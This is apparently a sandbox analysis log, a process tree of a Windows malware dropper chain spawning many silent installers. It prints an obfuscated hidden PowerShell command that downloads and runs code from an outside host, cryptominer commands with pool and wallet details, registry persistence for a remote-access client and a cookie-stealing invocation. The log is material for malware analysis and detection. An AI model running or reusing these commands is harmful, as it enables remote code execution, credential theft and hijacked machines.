C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 172412⤵
- Program crash
PID:7020
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 166012⤵
- Program crash
PID:6208
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 178812⤵
- Program crash
PID:7476
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 178012⤵
- Program crash
PID:7836
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hb3xcyiwx0b\23znuxynwjg.exe"C:\Users\Admin\AppData\Local\Temp\hb3xcyiwx0b\23znuxynwjg.exe" /ustwo INSTALL8⤵PID:4568
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "23znuxynwjg.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hb3xcyiwx0b\23znuxynwjg.exe" & exit9⤵PID:5268
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "23znuxynwjg.exe" /f10⤵
- Kills process with taskkill
PID:4536
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xbxkju2l1vv\vict.exe"C:\Users\Admin\AppData\Local\Temp\xbxkju2l1vv\vict.exe" /VERYSILENT /id=5358⤵PID:4748
-
C:\Users\Admin\AppData\Local\Temp\is-9ULJM.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-9ULJM.tmp\vict.tmp" /SL5="$2029A,870426,780800,C:\Users\Admin\AppData\Local\Temp\xbxkju2l1vv\vict.exe" /VERYSILENT /id=5359⤵PID:4124
-
C:\Users\Admin\AppData\Local\Temp\is-LQ95M.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-LQ95M.tmp\win1host.exe" 53510⤵PID:5024
-
C:\Users\Admin\AppData\Local\Temp\N19jgRC6U.exe"C:\Users\Admin\AppData\Local\Temp\N19jgRC6U.exe"11⤵PID:16124
-
C:\Users\Admin\AppData\Local\Temp\N19jgRC6U.exe"C:\Users\Admin\AppData\Local\Temp\N19jgRC6U.exe"12⤵PID:15696
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 154811⤵
- Program crash
PID:9156
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\pkywzojxbv2\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\pkywzojxbv2\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:1360
-
C:\Users\Admin\AppData\Local\Temp\is-4VTEN.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-4VTEN.tmp\IBInstaller_97039.tmp" /SL5="$20208,14574851,721408,C:\Users\Admin\AppData\Local\Temp\pkywzojxbv2\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:4292
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-DTNS0.tmp\{app}\microsoft.cab -F:* %ProgramData%10⤵PID:4428
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-DTNS0.tmp\{app}\microsoft.cab -F:* C:\ProgramData11⤵PID:4712
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^¶m=10⤵PID:13604
-
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"10⤵PID:13748
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f10⤵PID:16068
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ka2scjeet0z\vpn.exe"C:\Users\Admin\AppData\Local\Temp\ka2scjeet0z\vpn.exe" /silent /subid=4828⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\is-J7I69.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-J7I69.tmp\vpn.tmp" /SL5="$201F2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\ka2scjeet0z\vpn.exe" /silent /subid=4829⤵PID:4276
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:4776
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:4244
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:4328
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:8072
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:12136
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:13552
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gzv231og5uy\app.exe"C:\Users\Admin\AppData\Local\Temp\gzv231og5uy\app.exe" /8-238⤵PID:4172
-
C:\Users\Admin\AppData\Local\Temp\gzv231og5uy\app.exe"C:\Users\Admin\AppData\Local\Temp\gzv231og5uy\app.exe" /8-239⤵PID:14756
-
-
-
C:\Users\Admin\AppData\Local\Temp\mscgstwtsvp\njydr2whk0d.exe"C:\Users\Admin\AppData\Local\Temp\mscgstwtsvp\njydr2whk0d.exe" /quiet SILENT=1 AF=7568⤵PID:3632
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\mscgstwtsvp\njydr2whk0d.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\mscgstwtsvp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617176556 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵PID:4460
-
-
-
C:\Users\Admin\AppData\Local\Temp\oxx5axx3h3c\o1cqfif1hna.exe"C:\Users\Admin\AppData\Local\Temp\oxx5axx3h3c\o1cqfif1hna.exe"8⤵PID:4364
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\OH6V3WD3XE\setups.exe"C:\Users\Admin\AppData\Local\Temp\OH6V3WD3XE\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Users\Admin\AppData\Local\Temp\is-INNI1.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-INNI1.tmp\setups.tmp" /SL5="$701BA,635399,250368,C:\Users\Admin\AppData\Local\Temp\OH6V3WD3XE\setups.exe" ll6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2976
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3776 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:5016
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:5060
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"4⤵PID:4464
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵PID:5052
-
C:\Users\Admin\AppData\Roaming\297.tmp.exe"C:\Users\Admin\AppData\Roaming\297.tmp.exe"5⤵PID:5996
-
C:\Users\Admin\AppData\Roaming\297.tmp.exe"C:\Users\Admin\AppData\Roaming\297.tmp.exe"6⤵PID:5568
-
-
-
C:\Users\Admin\AppData\Roaming\586.tmp.exe"C:\Users\Admin\AppData\Roaming\586.tmp.exe"5⤵PID:6080
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:5844
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵PID:6452
-
-
-
C:\Users\Admin\AppData\Roaming\681.tmp.exe"C:\Users\Admin\AppData\Roaming\681.tmp.exe"5⤵PID:2428
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\681.tmp.exe6⤵PID:6224
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
PID:6792
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵PID:5472
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4984
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵PID:5980
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵PID:10492
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵PID:13044
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:13460
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:14788
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1296
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:3976
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4228
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4296
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"1⤵PID:5084
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install2⤵PID:4104
-
-
C:\Users\Admin\AppData\Local\Temp\is-P3T0S.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-P3T0S.tmp\winlthsth.exe"1⤵PID:4732
-
C:\Users\Admin\AppData\Local\Temp\9WMQxU8xY.exe"C:\Users\Admin\AppData\Local\Temp\9WMQxU8xY.exe"2⤵PID:15960
-
C:\Users\Admin\AppData\Local\Temp\9WMQxU8xY.exe"C:\Users\Admin\AppData\Local\Temp\9WMQxU8xY.exe"3⤵PID:16220
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"2⤵PID:8944
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"3⤵PID:9388
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4996
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\oxx5axx3h3c\o1cqfif1hna.exe"1⤵PID:5076
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30002⤵
- Runs ping.exe
PID:4360
-
-
C:\Users\Admin\AppData\Local\Temp\is-67FKD.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-67FKD.tmp\lylal220.tmp" /SL5="$30374,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"1⤵PID:5344
-
C:\Users\Admin\AppData\Local\Temp\is-7PCD4.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-7PCD4.tmp\Microsoft.exe" /S /UID=lylal2202⤵PID:5700
-
C:\Program Files\javcse\ZGQXJJRAXI\irecord.exe"C:\Program Files\javcse\ZGQXJJRAXI\irecord.exe" /VERYSILENT3⤵PID:4108
-
C:\Users\Admin\AppData\Local\Temp\is-T0PLK.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-T0PLK.tmp\irecord.tmp" /SL5="$302D6,6265333,408064,C:\Program Files\javcse\ZGQXJJRAXI\irecord.exe" /VERYSILENT4⤵PID:4516
-
-
-
C:\Users\Admin\AppData\Local\Temp\81-db2a8-518-11e8c-f75a3599cd18a\Pemaelewevy.exe"C:\Users\Admin\AppData\Local\Temp\81-db2a8-518-11e8c-f75a3599cd18a\Pemaelewevy.exe"3⤵PID:5128
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3r24k30t.vhw\md6_6ydj.exe & exit4⤵PID:16108
-
C:\Users\Admin\AppData\Local\Temp\3r24k30t.vhw\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\3r24k30t.vhw\md6_6ydj.exe5⤵PID:16756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zvnlgztf.2e3\askinstall31.exe & exit4⤵PID:15692
-
C:\Users\Admin\AppData\Local\Temp\zvnlgztf.2e3\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\zvnlgztf.2e3\askinstall31.exe5⤵PID:16692
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:17372
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:16988
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0zlqcqn4.dx3\toolspab1.exe & exit4⤵PID:15596
-
C:\Users\Admin\AppData\Local\Temp\0zlqcqn4.dx3\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\0zlqcqn4.dx3\toolspab1.exe5⤵PID:16800
-
C:\Users\Admin\AppData\Local\Temp\0zlqcqn4.dx3\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\0zlqcqn4.dx3\toolspab1.exe6⤵PID:17268
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tqfzdh5d.2cw\setup_10.2_mix.exe & exit4⤵PID:17128
-
C:\Users\Admin\AppData\Local\Temp\tqfzdh5d.2cw\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\tqfzdh5d.2cw\setup_10.2_mix.exe5⤵PID:16972
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jfmqoh5i.jm2\GcleanerWW.exe /mixone & exit4⤵PID:11632
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wdfiq2md.cvp\app.exe /8-2222 & exit4⤵PID:936
-
C:\Users\Admin\AppData\Local\Temp\wdfiq2md.cvp\app.exeC:\Users\Admin\AppData\Local\Temp\wdfiq2md.cvp\app.exe /8-22225⤵PID:6828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\blsz3brm.o5n\file.exe & exit4⤵PID:7036
-
C:\Users\Admin\AppData\Local\Temp\blsz3brm.o5n\file.exeC:\Users\Admin\AppData\Local\Temp\blsz3brm.o5n\file.exe5⤵PID:7296
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"6⤵PID:6248
-
C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe" 0 3060197d33d91c80.94013368 0 1017⤵PID:8264
-
C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe" 1 3.1617436412.60681efc7244a 1018⤵PID:5988
-
C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SMEPKTHK7M\multitimer.exe" 2 3.1617436412.60681efc7244a9⤵PID:10860
-
C:\Users\Admin\AppData\Local\Temp\hfaycaxslnj\izkrljo2pqf.exe"C:\Users\Admin\AppData\Local\Temp\hfaycaxslnj\izkrljo2pqf.exe" /ustwo INSTALL10⤵PID:14432
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "izkrljo2pqf.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hfaycaxslnj\izkrljo2pqf.exe" & exit11⤵PID:5672
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "izkrljo2pqf.exe" /f12⤵
- Kills process with taskkill
PID:8988
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kacr1gwjw24\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\kacr1gwjw24\cpyrix.exe" /VERYSILENT10⤵PID:14164
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe11⤵PID:7264
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵PID:9880
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub12⤵PID:10984
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵PID:10640
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe11⤵PID:8572
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"12⤵PID:17076
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\d2gspbpimer\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\d2gspbpimer\Setup3310.exe" /Verysilent /subid=57710⤵PID:14568
-
C:\Users\Admin\AppData\Local\Temp\is-J5VVF.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-J5VVF.tmp\Setup3310.tmp" /SL5="$30656,138429,56832,C:\Users\Admin\AppData\Local\Temp\d2gspbpimer\Setup3310.exe" /Verysilent /subid=57711⤵PID:14840
-
C:\Users\Admin\AppData\Local\Temp\is-7FELS.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-7FELS.tmp\Setup.exe" /Verysilent12⤵PID:9648
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3sfbhc1n11m\app.exe"C:\Users\Admin\AppData\Local\Temp\3sfbhc1n11m\app.exe" /8-2310⤵PID:14264
-
-
C:\Users\Admin\AppData\Local\Temp\0kmuv3jtja5\vict.exe"C:\Users\Admin\AppData\Local\Temp\0kmuv3jtja5\vict.exe" /VERYSILENT /id=53510⤵PID:13864
-
C:\Users\Admin\AppData\Local\Temp\is-LSEEA.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-LSEEA.tmp\vict.tmp" /SL5="$30734,870426,780800,C:\Users\Admin\AppData\Local\Temp\0kmuv3jtja5\vict.exe" /VERYSILENT /id=53511⤵PID:17108
-
C:\Users\Admin\AppData\Local\Temp\is-NNCLF.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-NNCLF.tmp\win1host.exe" 53512⤵PID:8464
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\21AQM1KFZV\setups.exe"C:\Users\Admin\AppData\Local\Temp\21AQM1KFZV\setups.exe" ll7⤵PID:8516
-
C:\Users\Admin\AppData\Local\Temp\is-CM7ES.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-CM7ES.tmp\setups.tmp" /SL5="$70324,635399,250368,C:\Users\Admin\AppData\Local\Temp\21AQM1KFZV\setups.exe" ll8⤵PID:8652
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"6⤵PID:8592
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:8524
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:9368
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"6⤵PID:10588
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"7⤵PID:11192
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install8⤵PID:11396
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"6⤵PID:15732
-
C:\Users\Admin\AppData\Roaming\F4CE.tmp.exe"C:\Users\Admin\AppData\Roaming\F4CE.tmp.exe"7⤵PID:11628
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999998⤵PID:13204
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99998⤵PID:13532
-
-
-
C:\Users\Admin\AppData\Roaming\F51D.tmp.exe"C:\Users\Admin\AppData\Roaming\F51D.tmp.exe"7⤵PID:16884
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\F51D.tmp.exe8⤵PID:9904
-
C:\Windows\SysWOW64\timeout.exetimeout /t 39⤵
- Delays execution with timeout.exe
PID:11104
-
-
-
-
C:\Users\Admin\AppData\Roaming\EC90.tmp.exe"C:\Users\Admin\AppData\Roaming\EC90.tmp.exe"7⤵PID:12208
-
C:\Users\Admin\AppData\Roaming\EC90.tmp.exe"C:\Users\Admin\AppData\Roaming\EC90.tmp.exe"8⤵PID:12064
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"7⤵PID:12976
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.18⤵
- Runs ping.exe
PID:13780
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"6⤵PID:11108
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xhchmpmt.4w4\Four.exe & exit4⤵PID:4672
-
C:\Users\Admin\AppData\Local\Temp\xhchmpmt.4w4\Four.exeC:\Users\Admin\AppData\Local\Temp\xhchmpmt.4w4\Four.exe5⤵PID:7708
-
C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1046⤵PID:8380
-
C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe" 1 3.1617436412.60681efcb92db 1047⤵PID:10368
-
C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\6TQXJ09OVH\multitimer.exe" 2 3.1617436412.60681efcb92db8⤵PID:10132
-
C:\Users\Admin\AppData\Local\Temp\myq4atb0mzp\u3br0ektk2c.exe"C:\Users\Admin\AppData\Local\Temp\myq4atb0mzp\u3br0ektk2c.exe" /ustwo INSTALL9⤵PID:12500
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "u3br0ektk2c.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\myq4atb0mzp\u3br0ektk2c.exe" & exit10⤵PID:6768
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "u3br0ektk2c.exe" /f11⤵
- Kills process with taskkill
PID:8008
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\thgpj2tpjvg\vict.exe"C:\Users\Admin\AppData\Local\Temp\thgpj2tpjvg\vict.exe" /VERYSILENT /id=5359⤵PID:392
-
C:\Users\Admin\AppData\Local\Temp\is-1QLPR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-1QLPR.tmp\vict.tmp" /SL5="$10620,870426,780800,C:\Users\Admin\AppData\Local\Temp\thgpj2tpjvg\vict.exe" /VERYSILENT /id=53510⤵PID:13432
-
C:\Users\Admin\AppData\Local\Temp\is-4Q3H2.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-4Q3H2.tmp\win1host.exe" 53511⤵PID:14292
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hm01vuuty5o\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\hm01vuuty5o\cpyrix.exe" /VERYSILENT9⤵PID:13252
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe10⤵PID:3768
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"11⤵PID:6952
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub11⤵PID:9200
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe12⤵PID:5868
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe10⤵PID:15520
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"11⤵PID:12160
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\b0e50uebdd4\app.exe"C:\Users\Admin\AppData\Local\Temp\b0e50uebdd4\app.exe" /8-239⤵PID:13232
-
-
C:\Users\Admin\AppData\Local\Temp\zteovvm3l3z\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\zteovvm3l3z\Setup3310.exe" /Verysilent /subid=5779⤵PID:13316
-
